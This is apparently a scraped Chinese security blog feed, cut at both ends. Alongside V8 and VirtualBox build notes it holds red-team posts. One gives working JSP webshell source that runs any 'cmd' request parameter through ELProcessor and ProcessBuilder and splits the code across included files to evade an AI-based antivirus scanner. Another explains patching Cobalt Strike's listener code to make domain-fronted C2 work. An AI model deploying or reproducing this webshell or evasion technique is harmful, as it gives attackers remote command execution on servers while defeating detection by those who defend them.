DLL_THREAD_ATTACH:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> DLL_THREAD_DETACH:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> DLL_PROCESS_DETACH:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h1 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h1><h2 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h2><p><img src="/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/java.gif" alt="java"></p><h2 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h2><p><img src="/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/python.gif" alt="python"></p>]]></content>
<tags>
<tag> Java </tag>
<tag> 红蓝对抗 </tag>
<tag> RedTeam </tag>
<tag> 开发 </tag>
<tag> 工具分享 </tag>
</tags>
</entry>
<entry>
<title>在 Win10 上编译 V8 引擎</title>
<link href="/2021/06/23/compile-v8-on-windows10/"/>
<url>/2021/06/23/compile-v8-on-windows10/</url>
<content type="html"><![CDATA[<p>记录一下编译 V8 踩坑的过程(以下全程需要科学上网,我是配了 Proxifier)</p><h1 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h1><ol start="0"><li><p>先安装 VisualStudio 2019,略详细过程</p></li><li><p>clone 开发环境</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd /d d:\</span><br><span class="line"></span><br><span class="line">git clone https://chromium.googlesource.com/chromium/tools/depot_tools</span><br></pre></td></tr></table></figure></li><li><p>设置环境变量</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">set DEPOT_TOOLS_WIN_TOOLCHAIN=0</span><br><span class="line">set GYP_MSVS_VERSION=2019 # 视VS版本而定</span><br></pre></td></tr></table></figure></li><li><p>clone v8 仓库,完整的大概 700M</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fetch v8</span><br></pre></td></tr></table></figure></li><li><p>同步第三方组件,会花一点时间</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gclient sync</span><br></pre></td></tr></table></figure></li><li><p>生成编译配置</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python tools/dev/v8gen.py ia32.debug</span><br></pre></td></tr></table></figure></li><li><p>编译,大概 10 分钟</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ninja -C .\out.gn\ia32.debug d8 -j12</span><br></pre></td></tr></table></figure></li><li><p>完成</p></li></ol><h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><h2 id="提示缺少-LASTCHANGE"><a href="#提示缺少-LASTCHANGE" class="headerlink" title="提示缺少 LASTCHANGE"></a>提示缺少 LASTCHANGE</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python .\build\util\lastchange.py .\build\util\LASTCHANGE</span><br></pre></td></tr></table></figure><h2 id="找不到-clang-cl-exe"><a href="#找不到-clang-cl-exe" class="headerlink" title="找不到 clang-cl.exe"></a>找不到 clang-cl.exe</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python .\tools\clang\scripts\update.py</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 开发 </tag>
</tags>
</entry>
<entry>
<title>JSP免杀 —— 绕过智能AI?</title>
<link href="/2021/02/05/antiav-jsp-webshell/"/>
<url>/2021/02/05/antiav-jsp-webshell/</url>
<content type="html"><![CDATA[<p>玩某云的“卷完计划”想到的姿势,分享一下。</p><p>某云的骑士号称是采用先进的动态监测技术,结合主机智能内核AI检测技术等多种引擎零规则查杀,做到低误报,高查杀率。</p><p>测下来查杀率确实高,只要出现 <code>Runtime.getRuntime().exec("calc")</code> 等命令执行直接相关的方法调用就杀,不过一个样本测下来要一分钟,速度相当慢,实际落地还要很长的路要走。/狗头</p><h1 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h1><p>开始讲绕过。</p><p>首先是命令执行的sink,直接写 <code>Runtime.getRuntime().exec()</code> 即使jsp编译不通过也是会被check到的,说明引擎有一些强检测逻辑,类似正则,匹配即杀。而如果迂回一下,我们找一个跳板,比如 <code>new ProcessBuilder()</code> ,或者反射构造 <code>ProcessImpl</code> 实例,还不会被杀,(用法参考<a href="https://xz.aliyun.com/t/7798" target="_blank" rel="noopener">三梦的文章</a>)。</p><p>构造好跳板,当调用 <code>start()</code> 实际执行的时候,如果命令是硬编码的没有杀,如果是从 request.getParameter(“xxx”) 取的还是会杀的。</p><p>说明引擎应该用到了类似污点分析的原理,更换命令执行的 sink 是可以绕过的,但要完全绕过还要找别的 source,试了一圈 request 对象的方法,只有 request.getSchema() 等内容不可控方法的时候不会杀,内容不可控有啥用:(</p><p>研究了下,我想到了这个引擎的问题(应该也通杀别的),就是在检测时,无法构造出完整的上下文环境。它是单文件一个个扫过去的,如果我们拆分 soure-sink 到多个文件呢,扫任意一个jsp都没问题。甚至很可能因为通不过编译,压根儿动态监测不起来。</p><h1 id="include"><a href="#include" class="headerlink" title="include"></a>include</h1><p>下面用到 jsp 的一个特性 include 指令。</p><blockquote><p>include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时,将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中,这种在源文件级别进行引入的方式,称为静态引入,当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。</p></blockquote><p>我们完全可以把完整的逻辑拆分,即把参数获取和命令执行的分开。</p><p>举个例子</p><p>AB.jsp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><%@ page import="javax.el.ELProcessor" %></span><br><span class="line"><%@ page import="java.io.InputStream" %></span><br><span class="line"><%@ page import="java.io.BufferedReader" %></span><br><span class="line"><%@ page import="java.io.InputStreamReader" %></span><br><span class="line"><%@ page contentType="text/html;charset=UTF-8" language="java" %></span><br><span class="line"><html></span><br><span class="line"><body></span><br><span class="line"><%</span><br><span class="line"> String cmd = request.getParameter("cmd");</span><br><span class="line"> ELProcessor processor = new ELProcessor();</span><br><span class="line"> Process process = (Process) processor.eval(</span><br><span class="line"> "\"\".getClass()" +</span><br><span class="line"> ".forName(\"javax.script.ScriptEngineManager\")." +</span><br><span class="line"> "newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +</span><br><span class="line"> cmd + "']).start()\")");</span><br><span class="line"> InputStream inputStream = process.getInputStream();</span><br><span class="line"> StringBuilder sb = new StringBuilder();</span><br><span class="line"> BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));</span><br><span class="line"> String line;</span><br><span class="line"> while ((line = bufferedReader.readLine()) != null) {</span><br><span class="line"> sb.append(line).append("\n");</span><br><span class="line"> }</span><br><span class="line"> response.getOutputStream().write(sb.toString().getBytes());</span><br><span class="line">%></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>source request.getParameter,通过 sink ELProcessor.eval 执行命令,会被杀。</p><p>拆分逻辑到 A.jsp B.jsp</p><p>A.jsp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><%</span><br><span class="line"> String cmd = request.getParameter("cmd");</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p>B.jsp ELProcessor.eval 执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><%@ page contentType="text/html;charset=UTF-8" language="java" %></span><br><span class="line"><%@ page import="javax.el.ELProcessor" %></span><br><span class="line"><%@ page import="java.io.InputStream" %></span><br><span class="line"><%@ page import="java.io.BufferedReader" %></span><br><span class="line"><%@ page import="java.io.InputStreamReader" %></span><br><span class="line"><%@include file="A.jsp" %></span><br><span class="line"><html></span><br><span class="line"><body></span><br><span class="line"><%</span><br><span class="line"> ELProcessor processor = new ELProcessor();</span><br><span class="line"> Process process = (Process) processor.eval(</span><br><span class="line"> "\"\".getClass()" +</span><br><span class="line"> ".forName(\"javax.script.ScriptEngineManager\")." +</span><br><span class="line"> "newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['" +</span><br><span class="line"> cmd + "']).start()\")");</span><br><span class="line"> InputStream inputStream = process.getInputStream();</span><br><span class="line"> StringBuilder sb = new StringBuilder();</span><br><span class="line"> BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));</span><br><span class="line"> String line;</span><br><span class="line"> while ((line = bufferedReader.readLine()) != null) {</span><br><span class="line"> sb.append(line).append("\n");</span><br><span class="line"> }</span><br><span class="line"> response.getOutputStream().write(sb.toString().getBytes());</span><br><span class="line">%></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>A.jsp 只负责取参,看起来没有问题。</p><p>B.jsp sink没有被硬杀,而且缺少 A.jsp 的情况编译不过,跑不起来动态监测不了。</p><p>完全绕过。</p>]]></content>
<tags>
<tag> Java </tag>
<tag> JSP </tag>
<tag> 红蓝对抗 </tag>
<tag> RedTeam </tag>
</tags>
</entry>
<entry>
<title>MacOS 下编译 VirtualBox</title>
<link href="/2021/01/03/compile-virtualbox-on-macos10-15/"/>
<url>/2021/01/03/compile-virtualbox-on-macos10-15/</url>
<content type="html"><![CDATA[<p>在编译 VBox 的时候遇到了许多坑,记录一下。</p><p>环境是 MacOS 10.15 Catalina,VBox 6.1.16 。</p><h1 id="安装SDK"><a href="#安装SDK" class="headerlink" title="安装SDK"></a>安装SDK</h1><p>Xcode10之后编译系统改了,我们需要用老版本的Xcode编译,所以要用 <a href="https://github.com/devernay/xcodelegacy" target="_blank" rel="noopener">XcodeLegacy</a> 。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git</span><br><span class="line">cd xcodelegacy</span><br></pre></td></tr></table></figure><p>再下载 <a href="https://download.developer.apple.com/Developer_Tools/Xcode_6.4/Xcode_6.4.dmg" target="_blank" rel="noopener">Xcode6.4</a> ,放到 xcodelegacy 目录下。</p><p>安装一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./XcodeLegacy.sh -osx109 buildpackages</span><br><span class="line">sudo ./XcodeLegacy.sh -osx109 install</span><br></pre></td></tr></table></figure><h1 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h1><ul><li>安装 homebrew,<code>brew install libidl openssl pkg-config qt</code></li><li>JDK版本>=6 ,我用的 JDK8</li><li>openssl</li></ul><h2 id="编译-openssl"><a href="#编译-openssl" class="headerlink" title="编译 openssl"></a>编译 openssl</h2><p>link 的时候可能会因为目标版本不一致出现问题,需要用 10.9 编译的 openssl</p><p>下载 <a href="https://www.openssl.org/source/openssl-1.1.1i.tar.gz" target="_blank" rel="noopener">openssl</a> ,解压后编译</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">./config CFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" CXXFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" LDFLAGS="-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" --prefix=/usr/local/opt/openssl@1.1.1i</span><br><span class="line">make -j8</span><br><span class="line">make install</span><br></pre></td></tr></table></figure><h1 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h1><p>下面开始编译,中途可能还会有些编译错误,需要自己解决一下。末尾有我遇到的问题及解决。</p><p>先修改 configure 的 check_darwinversion()</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">check_darwinversion()</span><br><span class="line">{</span><br><span class="line"> test_header "Darwin version"</span><br><span class="line"> darwin_ver=`uname -r`</span><br><span class="line"> case "$darwin_ver" in</span><br><span class="line">+ 19\.*)</span><br><span class="line">+ check_xcode_sdk_path "$WITH_XCODE_DIR"</span><br><span class="line">+ [ $? -eq 1 ] || fail</span><br><span class="line">+ darwin_ver="10.15" # Catalina</span><br><span class="line">+ sdk=$WITH_XCODE_DIR/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk</span><br><span class="line">+ cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"</span><br><span class="line">+ cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"</span><br><span class="line">+ CXX_FLAGS='--std=c++11'</span><br><span class="line">+ ;;</span><br><span class="line"> 17\.*)</span><br><span class="line"> check_xcode_sdk_path "$WITH_XCODE_DIR"</span><br><span class="line"> [ $? -eq 1 ] || fail</span><br><span class="line"> darwin_ver="10.13" # High Sierra</span><br><span class="line"> sdk=$WITH_XCODE_DIR/Developer/SDKs/MacOSX10.6.sdk</span><br><span class="line"> cnf_append "VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL" "1"</span><br><span class="line"> cnf_append "VBOX_PATH_MACOSX_DEVEL_ROOT" "$WITH_XCODE_DIR/Developer"</span><br><span class="line"> ;;</span><br></pre></td></tr></table></figure><p>配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \</span><br><span class="line">--with-openssl-dir=/usr/local/opt/openssl@1.1.1i --with-qt-dir=/usr/local/Cellar/qt/5.15.2</span><br></pre></td></tr></table></figure><p>修改 tools/kBuildTools/VBoxXcode62.kmk ,开启 c++11 支持</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-TOOL_VBoxXcode62_CXXFLAGS ?=</span><br><span class="line">+TOOL_VBoxXcode62_CXXFLAGS ?= --std=c++11</span><br><span class="line"></span><br><span class="line">-TOOL_VBoxXcode62_OBJCXXFLAGS ?=</span><br><span class="line">+TOOL_VBoxXcode62_OBJCXXFLAGS ?= --std=c++11</span><br></pre></td></tr></table></figure><p>一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED);</span><br><span class="line">+ AssertReturn(RefMatchingDict, VERR_OPEN_FAILED);</span><br></pre></td></tr></table></figure><p>开始编译</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">source env.sh</span><br><span class="line">kmk</span><br></pre></td></tr></table></figure><h1 id="FAQ"><a href="#FAQ" class="headerlink" title="FAQ"></a>FAQ</h1><ul><li><p>报错 <code>yasm: Bad CPU type in executable</code></p><p>因为不支持 32 位应用,需要用 x64 的 yasm 替换,</p><p><code>brew install yasm && cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/</code></p></li><li><p>报错 <code>kBuild: iasl VBoxDD ....</code></p><p>问题同上,找 x64 的 iasl 替换,<a href="https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip" target="_blank" rel="noopener">https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip</a> ,</p><p><code>cp iasl tools/darwin.amd64/bin/iasl</code></p></li><li><p>找不到 libqcocoa.dylib</p><p>修改 AutoConfig.kmk</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">- PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/Frameworks</span><br><span class="line">- PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/Frameworks</span><br><span class="line">- PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/Frameworks</span><br><span class="line"></span><br><span class="line">+ PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/include</span><br><span class="line">+ PATH_SDK_QT5_LIB := /usr/local/Cellar/qt/5.15.2/lib</span><br><span class="line">+ PATH_SDK_QT5 := /usr/local/Cellar/qt/5.15.2/</span><br></pre></td></tr></table></figure><p>或者创建软链接</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir /usr/local/Cellar/qt/5.15.2/Frameworks/plugins</span><br><span class="line">ln -s /usr/local/Cellar/qt/5.15.2/plugins/platforms /usr/local/Cellar/qt/5.15.2/Frameworks/plugins/platforms</span><br></pre></td></tr></table></figure></li></ul>]]></content>
<tags>
<tag> 开发 </tag>
</tags>
</entry>
<entry>
<title>魔改 CobaltStrike 3.14 实现域前置自定义端口</title>
<link href="/2020/04/10/pentest-cobaltstrike-improve/"/>
<url>/2020/04/10/pentest-cobaltstrike-improve/</url>
<content type="html"><![CDATA[<p>国内VPS的 80,443 端口默认都是需要备案才能使用,所以如果 TeamServer 搭在国内,Listener 只能选择其他端口,一般使用是没什么问题,但如果要配置域前置,会遇到上线不了的问题。</p><h1 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a>问题分析</h1><p>我配置了一个 8880 端口的 listener,并配置了 CloudFront (回源端口 8880),生成了指向 80 端口的后门。但运行后并没有上线,Wireshark 抓包分析一下。</p><blockquote><p>为了生成指向 80 端口的后门,我额外配置了一个 80 端口的 listener。</p></blockquote><p>可以看到,第一步确实向 cdn 请求了,也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求),但是第二步开始向 8880 端口拉取任务了,这里就出问题了,因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。</p><p>所以我们要修改第二步的请求,强制让它继续和 80 端口通信。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal1.jpg" alt="p1"></p><p>那么,为什么第一步的访问的端口是对的,第二个是错的呢。</p><p>我们知道一般用的CS后门是 staging 模式的,执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ,负责通过各种路径(http&https&tcp)下载 stage,然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。</p><p>因为生成 beacon 时,用的 listener 是监听 80 端口的,所以 beacon 第一次请求的确是向 80 端口发起的。</p><p>但实际上 cdn 的 80 端口指向的是 8880 端口的 listener,8880 接到请求,会返回 stage,stage 时在 teamserver 生成的,它并不知道我们是在通过 80 端口访问它,此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。</p><p>要解决问题,必须修改 teamserver 生成的 stage 指向的端口,但搜了一大圈,并没有找到相关的解决方法,AggressorScript 也只能在客户端动动刀子,想要修改 Listener 相关的得要从根源入手。</p><h1 id="杀死问题的办法-——-魔改"><a href="#杀死问题的办法-——-魔改" class="headerlink" title="杀死问题的办法 —— 魔改"></a>杀死问题的办法 —— 魔改</h1><p>我的思路是在创建 listener 的时候,再加一个选项,让 stage 用的端口和 listener 实际监听的端口分开。</p><blockquote><p>当然做👇这些之前要先反编译,我这里用的 <code>fernflower</code> ,用法略过。</p></blockquote><h2 id="0x01-UI"><a href="#0x01-UI" class="headerlink" title="0x01 UI"></a>0x01 UI</h2><p>CobaltStrike 用的是 swing 写的 UI,创建 Listener 的部分在 <code>aggressor.dialogs.ListenerDialog.show()</code></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal4.jpg" alt="p4"></p><p>用了 DialogManager 包装了每个 Dialog,调用 <code>DialogManager.text</code> 可以在当前 dialog 创建输入框,命名为 <code>bind port</code>,作为实际监听的端口。</p><p>来加一个输入框:</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal6.jpg" alt="p6"></p><p>当 <code>Save</code> 按钮按下时,会在后续触发到 <code>ListenerDialog.dialogResult</code></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal5.jpg" alt="p5"></p><p>这里检查了一下 domain 是否超长,通过了,就推送一个 <code>listeners.create</code> 请求到 teamserver,参数是 listener 的名字和配置信息,再之后 listener 就会在 teamserver 建立。</p><p>我们下一步是要把 <code>bind port</code> 传到 <code>this.options</code>,这里有点绕,在调用 <code>DialogManager.text</code> 的时候创建一个内部的 <code>DialogListener</code>。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal7.jpg" alt="p7"></p><p>在 <code>DialogManager.addDilogListenerInternal</code> 可以看到会把创建的 <code>DialogListener</code> 加到</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal9.jpg" alt="p9"></p><p><code>Save</code> 按钮实际是 <code>DialogManager.action_noclose</code> 生成的<br>这里的,点击事件可以在这里找到。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal10.jpg" alt="p10"></p><p>这里调用了之前的创建的匿名 <code>DialogListener</code>,将值传到 <code>this.options</code>,所以创建的输入框会自动把值添加到配置里来,😭绕了一圈啥也不用干。</p><p>为了能在 <code>Listeners</code> 这个 Tab 直接看到设置的 <code>bind port</code>, 给 <code>aggressor.windows.ListenerManager</code> 的 <code>cols</code> 加上 <code>bind port</code> 就会自动加载进来了。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal13.jpg" alt="p13"></p><p>效果如下:</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal12.jpg" alt="p12"></p><h2 id="0x02-Listener"><a href="#0x02-Listener" class="headerlink" title="0x02 Listener"></a>0x02 Listener</h2><p>在各处调用 Listener 时,会创建 <code>common.Listener</code> 实例,里面是没有 <code>bind port</code> 字段的,所以要给它加上。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal19.jpg" alt="p19"></p><h2 id="0x03-Stage"><a href="#0x03-Stage" class="headerlink" title="0x03 Stage"></a>0x03 Stage</h2><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal11.jpg" alt="p11"></p><p>teamserver 接到创建 Listener 的请求后,会先把 Listener 序列化保存下来,以便下次 teamserver 重启的时候可以自动监听。</p><p>然后本地调用 <code>beacons.start</code> 。这里的调用链有点长:</p><p>server.Beacons.call() -> server.Beacons.setup() -> beacon.BeaconsSetup.start() -> server.WebCalls.getWebServer() -> beacon.BeaconSetup.exportBeaconStage()</p><p>最主要的是两个地方 <code>server.WebCalls.getWebServer()</code> 创建 Web 服务,<code>beacon.BeaconSetup.exportBeaconStage</code> 构造 Stage 的 shellcode。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal14.jpg" alt="p14"></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal15.jpg" alt="p15"></p><p>这里的 <code>var1</code> 是监听的端口号,默认的 Stage 指向的端口和 Listener 监听的端口号是同一个,现在我们要让他们的端口分离,因为 <code>start()</code> 参数不是 <code>Map</code> ,所以不能直接往里加一个参数,只能重写或者重载一下这个方法。</p><p>我直接重写了一下,加了一个参数 <code>bindPort</code>,创建 Web 服务时,就用这个端口。Stage 还是用原来的 <code>var1</code> 作为端口,不用修改。这样创建 <code>Listener</code> 的时候,原来端口号代表 Stage 用的</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal16.jpg" alt="p16"></p><p>相应的,上层的调用链也要修改一下。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal17.jpg" alt="p17"></p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal18.jpg" alt="p18"></p><h2 id="0x05-编译-amp-替换"><a href="#0x05-编译-amp-替换" class="headerlink" title="0x05 编译 & 替换"></a>0x05 编译 & 替换</h2><p>然后要把修改过的代码编译一下,替换到 jar 里。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">javac -cp cobaltstrike.jar common/Listener.java</span><br><span class="line">zip -u cobaltstrike.jar common/Listener.class</span><br><span class="line">javac -cp cobaltstrike.jar aggressor/dialogs/ListenerDialog.java </span><br><span class="line">zip -u cobaltstrike.jar aggressor/dialogs/ListenerDialog.class</span><br><span class="line">javac -cp cobaltstrike.jar aggressor/windows/ListenerManager.java </span><br><span class="line">zip -u cobaltstrike.jar aggressor/windows/ListenerManager.class</span><br><span class="line">javac -cp cobaltstrike.jar server/Beacons.java</span><br><span class="line">zip -u cobaltstrike.jar server/Beacons.class</span><br><span class="line">javac -cp cobaltstrike.jar beacon/BeaconSetup.java </span><br><span class="line">zip -u cobaltstrike.jar beacon/BeaconSetup.class</span><br></pre></td></tr></table></figure><p>⬆️可能有点遗漏的,各位自己调一下吧。</p><h1 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h1><p><img src="/2020/04/10/pentest-cobaltstrike-improve/rrr.jpg" alt="rrr"></p><h1 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h1><p>这是一篇19年的存稿,当时还没有 <a href="https://www.cobaltstrike.com/help-http-beacon" target="_blank" rel="noopener">CS 4.0</a>,这个问题 4.0 已经解决了,可以配置 Listener 的 <code>C2 Port</code> 和 <code>Bind Port</code>,将 C2 的端口与 teamserver 实际监听的端口分开。</p><p>现在放出来,也算抛砖引玉,给想要修改 CS 的小伙计提供点经验,欢迎交流~</p>]]></content>
<tags>
<tag> 红蓝对抗 </tag>
<tag> RedTeam </tag>
<tag> Pentest </tag>
</tags>
</entry>
<entry>
<title>Java 实现后台执行</title>
<link href="/2020/02/13/java-nohup-implementation/"/>
<url>/2020/02/13/java-nohup-implementation/</url>
<content type="html"><![CDATA[<p>常用的将程序放到后台执行,并在shell退出后依然运行的方法,是使用 <code>nohup</code> 与 <code>&</code>,比如 <code>nohup java -jar abc.jar &</code>。</p><h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p><code>nohup</code> 的作用是忽略 <code>SIGHUP</code> 信号。当一个shell关闭后,会向运行的程序发送 <code>SIGHUP</code> 信号,通知同一shell内的各个进程,它们与控制终端不再关联。系统对 <code>SIGHUP</code> 信号的默认处理是终止收到该信号的进程。</p><p><code>&</code> 的作用是忽略 <code>SIGINT</code> 信号。<code>Ctrl+C</code> 会向前台进程发送 <code>SIGINT</code> 信号,以关闭程序。</p><h1 id="实现"><a href="#实现" class="headerlink" title="实现"></a>实现</h1><p>综上,只要我们能实现 <code>nohup</code> 和 <code>&</code> 的功能,就能让程序在后台运行,不会因为 shell 断开而中断了。</p><p>由于题目是用 Java 实现,而 Java 本身并不能进行如此底层的操作,所以思路是使用 JNI,借助 C/C++ 实现。</p><p>直接上代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> io.github.jayl1n.daemon;</span><br><span class="line"></span><br><span class="line"><span 